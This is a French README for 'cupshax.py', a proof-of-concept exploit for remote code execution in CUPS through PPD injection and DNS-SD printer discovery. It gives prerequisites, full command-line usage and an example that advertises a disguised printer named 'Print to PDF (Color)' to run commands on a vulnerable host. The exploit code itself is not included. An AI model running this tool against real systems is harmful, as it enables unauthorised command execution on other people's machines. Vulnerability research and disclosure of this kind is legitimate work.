
Preuve de concept rapide pour l'exploit CUPS récent permettant l'exécution de code à distance via l'injection PPD et la découverte d'imprimantes DNS-SD. Exécute des commandes arbitraires sur les systèmes Unix vulnérables.
Preuve de concept rapide pour l'exploit CUPS récent. Je prévoyais de le nettoyer bien davantage, mais l'embargo a été levé bien plus tôt que prévu, donc le code est un peu bâclé.
Pour tous les détails techniques, vous devriez honnêtement simplement lire l'analyse d'Evilsocket.
Cet exploit a été écrit après avoir repéré ce commit dans le dépôt public OpenPrinting CUPS. Il existe probablement des points d'injection plus propres.
Cette preuve de concept utilise la découverte d'imprimantes dns-sd, donc la cible doit être en mesure de recevoir le message de diffusion, c'est-à-dire être sur le même réseau.
L'exploit utilise zeroconf et ippserver, tous deux installables via pip.
usage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT] [--base64 | --no-base64]
A CUPS PPD injection PoC
options:
-h, --help show this help message and exit
--name NAME The name to use (default: RCE Printer)
--ip IP The IP address of the machine running this script
--command COMMAND The command to execute (default: 'touch /tmp/pwn')
--port PORT The port to connect on (default: 8631)
--base64, --no-base64
Wrap the command in base64 (default: enabled)
Par exemple :
python cupshax.py --name "Print to PDF (Color)" \
--command "id>/tmp/pwn" \
--ip 10.0.0.3